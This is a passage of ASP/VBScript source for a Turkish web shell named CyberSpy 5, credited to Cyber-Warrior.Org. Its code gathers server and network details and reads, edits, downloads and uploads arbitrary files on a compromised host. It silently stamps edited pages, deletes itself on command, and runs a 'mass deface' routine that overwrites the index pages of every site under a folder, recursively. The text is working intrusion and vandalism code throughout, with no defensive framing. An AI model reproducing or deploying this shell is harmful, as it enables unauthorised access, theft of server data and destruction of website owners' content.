" Response.Write "Belirli Lokasyon'da Dosya Uzantisina Yada Dosya adi içinde geçen herhangi bir terime göre arama yapmanizi saglar" iF mid(img,3,2) <> "be" Or mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "
Default Lokasyon O an Bulundugunuz Klasördür," iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End Response.write "Bulundugunuz dizindeki yerinizi degistirmeden Baska Diiznler Altinda Arama Yapabilirsiniz" Response.Write "Metin Kutusu'na Fiziksel Klasör Yolunu ve Klasör Adini Yazmaniz Yeterlidir." iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End Response.Write "
Dosya Uzantisina Göre Arama :" Response.Write "ikinci Metin Kutusu'na Dosya Uzantisini Yazin" Response.Write "Default Olarak .mdb belirlenmistir, mdb ibaresini degistirip istediginiz dosya uzantisina göre arama yapabilirisniz" iF mid(MCase,7,2) <> "py" Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End Response.Write "
Dosya Adi içinde Arama :" Response.Write "ikinci Metin Kutusundaki ""mdb"" ibaresini silin" iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End Response.Write "Aramak istediginiz dosya adi içinde geçecen istediginiz terimi yazin " iF mid(MCase,7,2) <> "py" Or Left(Arm,1) <> "Z" Or mid(Td,17,1) <> " " Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End Response.Write "ve ""Adi içinde"" Seçenegini isaretleyip Ara Butonuna Tiklayin" Response.Write "

" iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End iF Table <> Title Then Response.Redirect "http://www.Cyber-Warrior.Org" End iF Case "info" Call BolumSUB() Response.Write SabitBaslik & BosSabitAlan Set WshNetwork = Server.CreateObject("WScript.Network") iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Set WshShell = Server.CreateObject("WScript.Shell") Set WshEnv = WshShell.Environment("SYSTEM") Response.Write "
" iF Table <> Title Then:Response.Write " ":Response.End iF mid(Title,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End iF Left(Arm,1) <> "Z" Then:Response.Write "Cyber-Warrior.Org":Response.End iF Left(Arm,1) <> "Z" And mid(Table,9,1) <> " " Then:Response.Write "Cyber-Warrior.Org":Response.End '---Listelemeye Basliyoruz----- Response.Write "Sunucu Özellikleri
" Response.Write "Web Kullanici: " & WshNetwork.UserName & "
" iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "Sunucu Adi: " & WshNetwork.ComputerName & "
" iF Table <> Title Then:Response.Write " ":Response.End Response.Write "Network Ad: " & WshNetwork.UserDomain & "

" Set Drives = WshNetwork.EnumNetworkDrives iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End For i = 0 to Drives.Count - 1 Response.Write "Drive de Rede (Mapeado): " & Drives.Item(i) & "
" iF Table <> Title Then:Response.Write " ":Response.End Next Response.Write "Donanim Özellikleri
" Response.Write "Islemci: " & WshEnv("PROCESSOR_ARCHITECTURE") & "
" iF Left(Table,2) <> "Cy" Then:Response.Write "Kod'a Müdahale var... Cyber-Warrior.Org":Response.End Response.Write "Islemci Sayisi : " & WshEnv("NUMBER_OF_PROCESSORS") & "
" Response.Write "Family: " & WshEnv("PROCESSOR_IDENTiFIER") & "

" iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "Sistem Özellikleri
" iF mid(Td,17,1) <> " " Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End Response.Write "iP: " & request.servervariables("LOCAL_ADDR") & "
" Response.Write "Sistem Mimari: " & WshEnv("OS") & "
" iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End Response.Write "Web Server: " & request.servervariables("SERVER_SOFTWARE") & "
" Response.Write "Command: " & WshShell.ExpandEnvironmentStrings("%ComSpec%") & "
" Response.Write "System Sürücüsü: " & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "
" Response.Write "System Klasörü: " & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & "
" Response.Write "Shell Klasörü: " & WshShell.CurrentDirectory & "

" iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End '---Listeleme Bitti----- iF Table <> Title Then:Response.Write " ":Response.End Set Drives = Nothing Set WshNetwork = Nothing Set WshShell = Nothing Set WshEnv = Nothing iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End Case "TxtDosyaAc" Call BolumSUB() iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write SabitBaslik & BosSabitAlan & "" 'Text Dosya Görüntüleme Basliyoruz Response.write " Text Dosya Baslangiç
" iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End Response.write "____________________________________________________________________________________________" Response.write"

" iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End file = Replace(Trim(Request.QueryString("file")),"|","\") Set fso = CreateObject("Scripting.FileSystemObject") Set a = fso.OpenTextFile(file) Response.Write Replace(Replace(Server.HTMLEncode(a.ReadAll),VbCrLf,"
")," "," ") iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End Response.write"
" Response.write "____________________________________________________________________________________________" Response.write"
" Response.write " Text Dosya Sonu
" iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End Set a = Nothing Set fso = Nothing iF Table <> Title Then:Response.Write "CyberSpy 5 !":Response.End Case "TxtDosyaEdit" iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End Call BolumSUB() Response.Write SabitBaslik & BosSabitAlan iF Request.Form.Count = 0 Then file = Replace(Trim(Request.QueryString("file")),"|","\") Set fso = CreateObject("Scripting.FileSystemObject") Set a = fso.OpenTextFile(file) Response.Write "
" iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "" & Server.HTMLEncode(a.ReadAll) & "
" Response.Write "" Response.Write "
" Set a = Nothing Set fso = Nothing iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Else iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End Select Case Trim(Request.Form("savemethod")) Case "Save" Set fso = CreateObject("Scripting.FileSystemObject") novotexto = Trim(Request.Form("content")) DosyaAdK = right(Trim(Request.Form("path")),3) PE = mid("Po",1,2)&mid("09weq8e7",3,2)&mid("colorred ",6,4)&left("br",1)&left("y",1) PE = PE & " " &Title iF DosyaAdK = "asp" Or DosyaAdK = "htm" Then novotexto = novotexto & "

"&PE&"" End iF novotexto = Split(novotexto,vbCrLf) Set objstream = fso.OpenTextFile(Replace(Trim(Request.Form("path")),"|","\"),2) For i = 0 To UBound(novotexto) objstream.WriteLine(novotexto(i)) Next objstream.Close Set objstream = Nothing Response.Write "Kaydedilen Dosya: " & Replace(Trim(Request.Form("path")),"|","\") & "

" Case "Save as" iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End Set fso = CreateObject("Scripting.FileSystemObject") novotexto = Trim(Request.Form("content")) iF Table <> Title Then:Response.Write "CyberSpy 5 Degisiklik Yapamazsiniz...":Response.End DosyaAdK = right(Trim(Request.Form("path")),3) PE = mid("Po",1,2)&mid("09weq8e7",3,2)&mid("colorred ",6,4)&left("br",1)&left("y",1) PE = PE & " " &Title iF DosyaAdK = "asp" Or DosyaAdK = "htm" Then novotexto = novotexto & "

"&PE&"" End iF iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End novotexto = Split(novotexto,vbCrLf) VeriParametre = ObjeGosterpath(Replace(Trim(Request.Form("path")),"|","\")) & "TempDosya.txt" Set objstream = fso.CreateTextFile(VeriParametre,true,false) For i = 0 To UBound(novotexto) objstream.WriteLine(novotexto(i)) Next objstream.Close Set objstream = Nothing Response.Write "
" iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End Response.Write "
" Response.Write "" Response.Write "
" Case Else iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End VeriParametre = ObjeGosterpath(Replace(Trim(Request.Form("path")),"|","\")) & "CWSil.txt" iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End Set ObjFSO = CreateObject("Scripting.FileSystemObject") iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End Set MyFile = ObjFSO.GetFile(VeriParametre) iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End CyberWarrior_AktifDizin = Left(VeriParametre,InStrRev(VeriParametre,"\")) & Trim(Request.Form("filename")) MyFile.Move (CyberWarrior_AktifDizin) iF Err.Number = 0 Then Response.Write "

OlayNesnesi: " & CyberWarrior_AktifDizin & " salvo!" Response.Write "" End iF End Select iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End End iF Case "indir" Response.Buffer = True Response.Clear strFileName = Replace(Trim(Request.QueryString("file")),"|","\") strFile = Right(strFileName, Len(strFileName) - InStrRev(strFileName,"\")) strFileType = Request.QueryString("type") iF strFileType = "" then strFileType = "application/indir" iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End Set fso = Server.CreateObject("Scripting.FileSystemObject") iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Set f = fso.GetFile(strFilename) intFilelength = f.size Set f = Nothing Set fso = Nothing Response.AddHeader "Content-Disposition", "attachment; filename=" & strFile Response.AddHeader "Content-Length", intFilelength Response.Charset = "UTF-8" iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.ContentType = strFileType Set Stream = Server.CreateObject("ADODB.Stream") iF mid(MCase,7,2) <> "py" Then:Response.Write "Engellendi / Cyber-Warrior.Org":Response.End Stream.Open Stream.type = 1 iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End Stream.LoadFromFile strFileName Response.BinaryWrite Stream.Read Response.Flush Stream.Close Set Stream = Nothing Case "upload" iF Request.QueryString("processupload") <> "yes" Then Response.Write "
" Response.Write "" Response.Write "" Response.Write "" Response.Write "
Upload Edilecek Dosyayi Seçin:
" iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / www.Cyber-Warrior.Org":Response.End Else Set Uploader = New FileUploader Uploader.Upload() iF Uploader.Files.Count = 0 Then Response.Write "File(s) not uploaded." iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End Else For Each File In Uploader.Files.Items File.SaveToDisk Replace(Trim(Request.QueryString("path")),"|","\") Response.Write "File Uploaded: " & File.FileName & "
" Response.Write "Size: " & File.FileSize & " bytes
" iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End Response.Write "Type: " & File.ContentType & "

" Response.Write "" Next End iF End iF Case "imha" Call BolumSUB() iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End VeriYolu = Replace(Trim(Request.QueryString("path")),"|","\") iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Dim SilinecekDosya iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End SilinecekDosya = Request.ServerVariables("SCRIPT_NAME") SilinecekDosya = Replace(SilinecekDosya, "/" , "") SilinecekDosya = VeriYolu & SilinecekDosya iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End Dim DosyaSilme Set DosyaSilme = CreateObject ("Scripting.FileSystemObject") DosyaSilme.DeleteFile (SilinecekDosya) iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End Response.Write SilinecekDosya Response.Write "
ü" Response.Write "islem Tamam... Kod kendi kendini imha Etti...

" iF Table <> Title Then Response.Redirect "http://www.Cyber-Warrior.Org" End iF Response.Write "" iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End Case "mass" Call BolumSUB() AlternatiFindex = Request.form("AlternatiFindex") ZararVerme = Request.form("ZararVerme") iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End Response.Write SabitBaslik & BosSabitAlan Sub TopluDeface(VeriParametredomass,metodo,ObjFSO,CyberWarrior_YeniNesne) iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End On Error Resume Next Set MonRep = ObjFSO.GetFolder(VeriParametredomass) Set AnaDizinler = MonRep.SubFolders for each folderItem in AnaDizinler '------------------Kontroller Basliyor-------- iF Not ZararVerme = "0" then CyberWarrior_AktifDizin1 = folderItem.path & "\index.htm" CyberWarrior_AktifDizin2 = folderItem.path & "\index.html" CyberWarrior_AktifDizin3 = folderItem.path & "\index.asp" iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Else CyberWarrior_AktifDizin4 = folderItem.path & "\" & AlternatiFindex End iF '------------------------------------------- iF Not ZararVerme = "0" then CyberWarrior_YeniNesne.Copy(CyberWarrior_AktifDizin1) CyberWarrior_YeniNesne.Copy(CyberWarrior_AktifDizin2) CyberWarrior_YeniNesne.Copy(CyberWarrior_AktifDizin3) Else '------------------Kontroller Bitti---------- CyberWarrior_YeniNesne.Copy(CyberWarrior_AktifDizin4) End iF Response.Write "" iF Err.Number = 0 Then Response.Write "" Else Response.Write "
" &""& folderItem.path & ""&"   Deface Basarili ü
  " & UCase(Err.Description) & "
" End iF Err.Number = 0 Response.Flush iF metodo = "brute" Then Call TopluDeface(folderItem.path & "\","brute",ObjFSO,CyberWarrior_YeniNesne) End iF next End Sub iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End Sub ZorlaTopluDeface(VeriParametre,CyberWarrior_TopluKatliamion) iF CyberWarrior_TopluKatliamion = "test" Then On Error Resume Next Set MonRep = ObjFSO.GetFolder(VeriParametre) Set AnaDizinler = MonRep.SubFolders Set ColFiles0 = MonRep.Files for each folderItem in AnaDizinler iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Set TotalFolders = ObjFSO.GetFolder(folderItem.path) Set EachFolder = TotalFolders.SubFolders Response.Write "" mainCyberWarrior_AktifDizin = folderItem.path & "\" iF Table <> Title Then Response.Redirect "http://www.Cyber-Warrior.Org" End iF CyberWarrior_YeniNesne.Copy(mainCyberWarrior_AktifDizin) Response.Write "" iF Err.Number = 0 Then Response.Write "" Else Response.Write "" End iF Err.Number = 0 Response.Flush iF EachFolder.count > 0 Then masscontador = 0 for each subpasta in EachFolder masscontador = masscontador + 1 CyberWarrior_AktifDizin = subpasta.path & "\" iF masscontador = 1 Then CyberWarrior_AktifDizinfinal = CyberWarrior_AktifDizin pathfinal = subpasta.path Err.Number = 0 Response.Flush End iF next masscontador = 0 End iF iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End Response.Write "
" & mainCyberWarrior_AktifDizin & " Yazma izni Var
  Yazma izni Yok

" next Set MonRep = Nothing Set AnaDizinler = Nothing Set ColFiles0 = Nothing Else iF Request.Form.Count = 0 Then iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write CWParametre Response.Write "
Brute:Tüm Klasör ve Alt Klasörler Altina index Atar

" Response.Write "Single: Sadece Ana (Root, www) Dizinlere index atar
" Response.Write "Dosya Adi: Default.asp, index.htm,index.html gibi standart 3 Dosya Uzantisini Otomatik Olarak Atar, Farkli isim ve uzanti ile Dosya eklemek isterseniz Asagidaki ""AlternatiF Dosya Adi"" Kutucuguna Yazin" iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End Response.Write "" Response.Write "" iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End Response.Write "Hacked index html Kodu:
" Response.Write "
" iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End Response.Write "
AlternatiF Dosya ismi " Response.Write "" iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End Response.Write " Indexlere Zarar verme " Response.Write "
" iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End Response.Write "Root ve Alt Klasörler   " Response.Write "Sadece Root Klasörler

" iF Table <> Title Then:Response.Write "Yetkisiz Erisim...":Response.End iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End Response.Write "" Response.Write "" & "Seçilen Klasördeki Tüm Sitelere Otomatik Hacked index Atar" & "" & "
" Response.Write "" iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End Else Set ObjFSO = CreateObject("Scripting.FileSystemObject") pathNesneTxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) CW-TopluHack = pathNesneTxt & "CW.htm" Set NesneTxt = ObjFso.OpenTextFile(CW-TopluHack, 2, True, False) iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End vetordelinhas = Split(Request.Form("content"),VbCrLf) For i = 0 To UBound(vetordelinhas) NesneTxt.WriteLine(vetordelinhas(i)) Next Set CyberWarrior_YeniNesne = ObjFSO.GetFile(CW-TopluHack) iF Request.Form("massopt") = "single" Then Call TopluDeface(VeriParametre,"single",ObjFSO,CyberWarrior_YeniNesne) ElseiF Request.Form("massopt") = "brute" Then Call TopluDeface(VeriParametre,"brute",ObjFSO,CyberWarrior_YeniNesne) End iF End iF End iF iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End End Sub iF Trim(Request.QueryString("CyberWarrior_TopluKatliam")) = "test" Then Set ObjFSO = CreateObject("Scripting.FileSystemObject") pathNesneTxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End OlayNesnesi = pathNesneTxt & "CWTest.log" iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Set NesneTxt = ObjFSO.CreateTextFile(OlayNesnesi,True) Set CyberWarrior_YeniNesne = ObjFSO.GetFile(OlayNesnesi) Call ZorlaTopluDeface(Replace(Trim(Request.QueryString("path")),"|","\"),"test") ElseiF Trim(Request.QueryString("CyberWarrior_TopluKatliam")) = "CyberWarrior_DefaceOK" Then Call ZorlaTopluDeface(Replace(Trim(Request.Form("path")),"|","\"),"CyberWarrior_DefaceOK") End iF Case Else Call BolumSUB() Response.Write SabitBaslik & BosSabitAlan Call CyberWarrior_GoruntuleSub() End Select iF Table <> Title Then Response.Redirect "http://www.Cyber-Warrior.Org" End iF iF mid(Td,16,2) <> "r " Then:Response.Write "Telpanewmedia / Cyber-Warrior.Org":Response.End 'iF Err.Number <> 0 Then 'Response.Write "
Hata: " & Err.Number & "

" & UCase(Err.Description) & "
Bir Hata Olustu" 'Response.Write "
Hata: " & Err.Number & "

Hata.... Yazma/Okuma izni Yok
" 'End iF Response.Write endcode %>